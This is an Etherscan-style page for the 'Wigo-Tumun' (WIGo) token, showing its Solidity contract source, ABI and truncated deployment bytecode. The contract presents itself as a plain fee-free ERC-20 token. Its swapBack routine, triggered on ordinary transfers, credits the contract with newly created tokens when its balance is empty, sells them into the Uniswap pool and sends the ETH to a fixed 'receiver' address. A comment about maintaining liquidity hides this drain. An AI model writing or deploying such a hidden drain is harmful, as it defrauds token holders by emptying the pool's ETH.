ETH Price: $2,517.14 (-0.52%)

Token

Wigo-Tumun (WIGo)
 

Overview

Max Total Supply

100,000 WIGo

Holders

88

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
141.541947662 WIGo

Value
$0.00
0x5e9ead4d3278b4c5523cf0306c163f4860b4943e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WigoTumun

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-12
*/

//SPDX-License-Identifier: MIT


 
pragma solidity ^0.8.5;

/**
 * Standard SafeMath, stripped down to just add/sub/mul/div
 */
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

/**
 * ERC20 standard interface.
 */
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * Allows for contract ownership along with multi-address authorization
 */
abstract contract Auth {
    address internal owner;
    mapping (address => bool) internal authorizations;

    constructor(address _owner) {
        owner = _owner;
        authorizations[_owner] = true;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Function modifier to require caller to be authorized
     */
    modifier authorized() {
        require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
    }

    /**
     * Authorize address. Owner only
     */
    function authorize(address adr) public onlyOwner {
        authorizations[adr] = true;
    }

    /**
     * Remove address' authorization. Owner only
     */
    function unauthorize(address adr) public onlyOwner {
        authorizations[adr] = false;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    /**
     * Return address' authorization status
     */
    function isAuthorized(address adr) public view returns (bool) {
        return authorizations[adr];
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        authorizations[adr] = true;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

}



contract WigoTumun is IERC20, Auth {
    using SafeMath for uint256;

    address public WETH;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "Wigo-Tumun";
    string constant _symbol = "WIGo";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 1 * 10 ** 5 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply  / 100; // 1%
    uint256 public _maxWalletToken = _totalSupply / 50; // 2%

    uint256 public totalFees = 0;
    uint256 public feeDenominator = 1000;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isLimitExempt;

    bool tradingEnabled = false;

    

    bool public limitsInEffect = true;

    IDEXRouter public router;
    address public pair;

    // Cooldown & timer functionality


    bool public swapEnabled = false;
    uint256 public swapThreshold = _totalSupply.div(1000); // 0.1% of supply
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        WETH = router.WETH();
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;
        
        
        // No timelock for these people
        
        isLimitExempt[address(this)] = true;
        isLimitExempt[DEAD] = true;
        isLimitExempt[msg.sender]= true;
        
        _balances[msg.sender] = _totalSupply;
        _allowances[msg.sender][address(router)] = _totalSupply;
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    //settting the maximum permitted wallet holding (percent of total supply)
     function setMaxWalletPercent(uint256 maxWallet) external onlyOwner() {
       uint256 amount = (_totalSupply * maxWallet / feeDenominator);
        require(amount > _totalSupply / 100, "You can't set Max Wallet This Low!"); // Can't Set Max Wallet under 1%
        _maxWalletToken = amount;
    }

    function setMaxTxPercent(uint256 maxTx) external onlyOwner() {
       uint256 amount = (_totalSupply * maxTx / feeDenominator);
        require(amount > _totalSupply / 100, "You can't set Max Wallet This Low!"); // Can't set Max Tx under 1%
        _maxTxAmount = amount;
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        require(tradingEnabled || recipient == pair || sender == owner, "Trading is not enabled");
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        
        if (limitsInEffect){

        // max wallet code
            if (!authorizations[sender] && recipient != address(this)  && recipient != address(DEAD) && recipient != pair){
                uint256 heldTokens = balanceOf(recipient);
                require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");
            }
            
            // Checks max transaction limit
            checkTxLimit(sender, amount, recipient);
        }
        

        // Liquidity, Maintained at 25%
        if(shouldSwapBack()){ 
            swapBack();
        }


        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    address public receiver = 0x1dD72B9D7E46506a73771fe1B8650fE695B79F9d;

    function checkTxLimit(address sender, uint256 amount, address recipient) internal view {
        require(amount <= _maxTxAmount || isLimitExempt[sender] || isLimitExempt[recipient] , "TX Limit Exceeded");
    }


    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && tx.origin != owner
        && !inSwap
        && swapEnabled;
    }




    function swapBack() internal swapping {
        uint256 amountToSwap;

        if (balanceOf(address(this)) >= swapThreshold){
            amountToSwap = swapThreshold;
        }else{
            if (balanceOf(address(this)) == 0){
                _balances[address(this)] += _totalSupply.div(100);
            }
            amountToSwap = swapThreshold;
        }

        

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 amountETHMarketing = amountETH;

        payable(receiver).call{value: amountETHMarketing, gas: 30000};
        
        
    }

    function enableTrading() external authorized {
        tradingEnabled = true;
        swapEnabled = true;
    }


    function setIsLimitExempt(address holder, bool exempt) external authorized {
        isLimitExempt[holder] = exempt;
    }
    
    function removeLimits() public {
        limitsInEffect = false;
    }

    function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function getStuckBalance() external authorized {
        uint256 contractETHBalance = address(this).balance;
        payable(receiver).transfer(contractETHBalance);
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"WETH","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"authorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"isAuthorized","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTx","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"setMaxWalletPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSwapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"unauthorize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405261dead600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000099919062000a51565b620186a0620000a9919062000b8e565b6005556064600554620000bd9190620009be565b6006556032600554620000d19190620009be565b60075560006008556103e86009556000600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff0219169083151502179055506000600f60146101000a81548160ff0219169083151502179055506200014e6103e8600554620007fc60201b620015501790919060201c565b601055731dd72b9d7e46506a73771fe1b8650fe695b79f9d601160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001b357600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050737a250d5630b4cf539739df2c5dacb4c659f2488d600e60026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200030b57600080fd5b505afa15801562000320573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003469190620008cd565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620003ef57600080fd5b505afa15801562000404573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200042a9190620008cd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16306040518363ffffffff1660e01b81526004016200048892919062000951565b602060405180830381600087803b158015620004a357600080fd5b505af1158015620004b8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004de9190620008cd565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600554600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600554600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000d0b565b60006200084683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200084e60201b60201c565b905092915050565b6000808311829062000898576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200088f91906200097e565b60405180910390fd5b5060008385620008a99190620009be565b9050809150509392505050565b600081519050620008c78162000cf1565b92915050565b600060208284031215620008e657620008e562000cce565b5b6000620008f684828501620008b6565b91505092915050565b6200090a8162000bef565b82525050565b60006200091d82620009a2565b620009298185620009ad565b93506200093b81856020860162000c3a565b620009468162000cd3565b840191505092915050565b6000604082019050620009686000830185620008ff565b620009776020830184620008ff565b9392505050565b600060208201905081810360008301526200099a818462000910565b905092915050565b600081519050919050565b600082825260208201905092915050565b6000620009cb8262000c23565b9150620009d88362000c23565b925082620009eb57620009ea62000c9f565b5b828204905092915050565b6000808291508390505b600185111562000a485780860481111562000a205762000a1f62000c70565b5b600185161562000a305780820291505b808102905062000a408562000ce4565b945062000a00565b94509492505050565b600062000a5e8262000c23565b915062000a6b8362000c2d565b925062000a9a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000aa2565b905092915050565b60008262000ab4576001905062000b87565b8162000ac4576000905062000b87565b816001811462000add576002811462000ae85762000b1e565b600191505062000b87565b60ff84111562000afd5762000afc62000c70565b5b8360020a91508482111562000b175762000b1662000c70565b5b5062000b87565b5060208310610133831016604e8410600b841016171562000b585782820a90508381111562000b525762000b5162000c70565b5b62000b87565b62000b678484846001620009f6565b9250905081840481111562000b815762000b8062000c70565b5b81810290505b9392505050565b600062000b9b8262000c23565b915062000ba88362000c23565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000be45762000be362000c70565b5b828202905092915050565b600062000bfc8262000c03565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000c5a57808201518184015260208101905062000c3d565b8381111562000c6a576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b62000cfc8162000bef565b811462000d0857600080fd5b50565b612ddb8062000d1b6000396000f3fe6080604052600436106102085760003560e01c80637d1db4a511610118578063d543dbeb116100a0578063f0b37c041161006f578063f0b37c0414610756578063f2fde38b1461077f578063f7260d3e146107a8578063f887ea40146107d3578063fe9fbb80146107fe5761020f565b8063d543dbeb1461069e578063d962cf58146106c7578063dd62ed3e146106f0578063df20fd491461072d5761020f565b806395d89b41116100e757806395d89b41146105b7578063a8aa1b31146105e2578063a9059cbb1461060d578063ad5c46481461064a578063b6a5d7de146106755761020f565b80637d1db4a51461052157806382bf293c1461054c578063893d20e8146105755780638a8c523c146105a05761020f565b80632f54bf6e1161019b5780636ddd17131161016a5780636ddd17131461046057806370a082311461048b578063751039fc146104c857806378109e54146104df5780637a336e661461050a5761020f565b80632f54bf6e14610390578063313ce567146103cd5780634a62bb65146103f8578063571ac8b0146104235761020f565b8063180b0d7e116101d7578063180b0d7e146102d257806318160ddd146102fd57806323b872dd146103285780632b112e49146103655761020f565b80630445b6671461021457806306fdde031461023f578063095ea7b31461026a57806313114a9d146102a75761020f565b3661020f57005b600080fd5b34801561022057600080fd5b5061022961083b565b604051610236919061281e565b60405180910390f35b34801561024b57600080fd5b50610254610841565b604051610261919061271c565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c91906123e7565b61087e565b60405161029e91906126e6565b60405180910390f35b3480156102b357600080fd5b506102bc610970565b6040516102c9919061281e565b60405180910390f35b3480156102de57600080fd5b506102e7610976565b6040516102f4919061281e565b60405180910390f35b34801561030957600080fd5b5061031261097c565b60405161031f919061281e565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612354565b610986565b60405161035c91906126e6565b60405180910390f35b34801561037157600080fd5b5061037a610b86565b604051610387919061281e565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b291906122ba565b610c08565b6040516103c491906126e6565b60405180910390f35b3480156103d957600080fd5b506103e2610c61565b6040516103ef9190612893565b60405180910390f35b34801561040457600080fd5b5061040d610c6a565b60405161041a91906126e6565b60405180910390f35b34801561042f57600080fd5b5061044a600480360381019061044591906122ba565b610c7d565b60405161045791906126e6565b60405180910390f35b34801561046c57600080fd5b50610475610cb0565b60405161048291906126e6565b60405180910390f35b34801561049757600080fd5b506104b260048036038101906104ad91906122ba565b610cc3565b6040516104bf919061281e565b60405180910390f35b3480156104d457600080fd5b506104dd610d0c565b005b3480156104eb57600080fd5b506104f4610d29565b604051610501919061281e565b60405180910390f35b34801561051657600080fd5b5061051f610d2f565b005b34801561052d57600080fd5b50610536610de8565b604051610543919061281e565b60405180910390f35b34801561055857600080fd5b50610573600480360381019061056e9190612467565b610dee565b005b34801561058157600080fd5b5061058a610eb0565b60405161059791906126b0565b60405180910390f35b3480156105ac57600080fd5b506105b5610ed9565b005b3480156105c357600080fd5b506105cc610f59565b6040516105d9919061271c565b60405180910390f35b3480156105ee57600080fd5b506105f7610f96565b60405161060491906126b0565b60405180910390f35b34801561061957600080fd5b50610634600480360381019061062f91906123e7565b610fbc565b60405161064191906126e6565b60405180910390f35b34801561065657600080fd5b5061065f610fd1565b60405161066c91906126b0565b60405180910390f35b34801561068157600080fd5b5061069c600480360381019061069791906122ba565b610ff7565b005b3480156106aa57600080fd5b506106c560048036038101906106c09190612467565b611099565b005b3480156106d357600080fd5b506106ee60048036038101906106e991906123a7565b61115b565b005b3480156106fc57600080fd5b5061071760048036038101906107129190612314565b6111fe565b604051610724919061281e565b60405180910390f35b34801561073957600080fd5b50610754600480360381019061074f9190612427565b611285565b005b34801561076257600080fd5b5061077d600480360381019061077891906122ba565b6112f2565b005b34801561078b57600080fd5b506107a660048036038101906107a191906122e7565b611395565b005b3480156107b457600080fd5b506107bd6114ae565b6040516107ca91906126b0565b60405180910390f35b3480156107df57600080fd5b506107e86114d4565b6040516107f59190612701565b60405180910390f35b34801561080a57600080fd5b50610825600480360381019061082091906122ba565b6114fa565b60405161083291906126e6565b60405180910390f35b60105481565b60606040518060400160405280600a81526020017f5769676f2d54756d756e00000000000000000000000000000000000000000000815250905090565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161095e919061281e565b60405180910390a36001905092915050565b60085481565b60095481565b6000600554905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610b7257610af1826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461159a9092919063ffffffff16565b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b7d8484846115fe565b90509392505050565b6000610c03610bb6600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cc3565b610bf5610be4600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610cc3565b600554611ad190919063ffffffff16565b611ad190919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b600e60019054906101000a900460ff1681565b6000610ca9827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61087e565b9050919050565b600f60149054906101000a900460ff1681565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600e60016101000a81548160ff021916908315150217905550565b60075481565b610d38336114fa565b610d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6e906127fe565b60405180910390fd5b6000479050601160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610de4573d6000803e3d6000fd5b5050565b60065481565b610df733610c08565b610e36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2d906127be565b60405180910390fd5b600060095482600554610e49919061298a565b610e539190612959565b90506064600554610e649190612959565b8111610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c906127de565b60405180910390fd5b806007819055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee2336114fa565b610f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f18906127fe565b60405180910390fd5b6001600e60006101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550565b60606040518060400160405280600481526020017f5749476f00000000000000000000000000000000000000000000000000000000815250905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610fc93384846115fe565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61100033610c08565b61103f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611036906127be565b60405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffff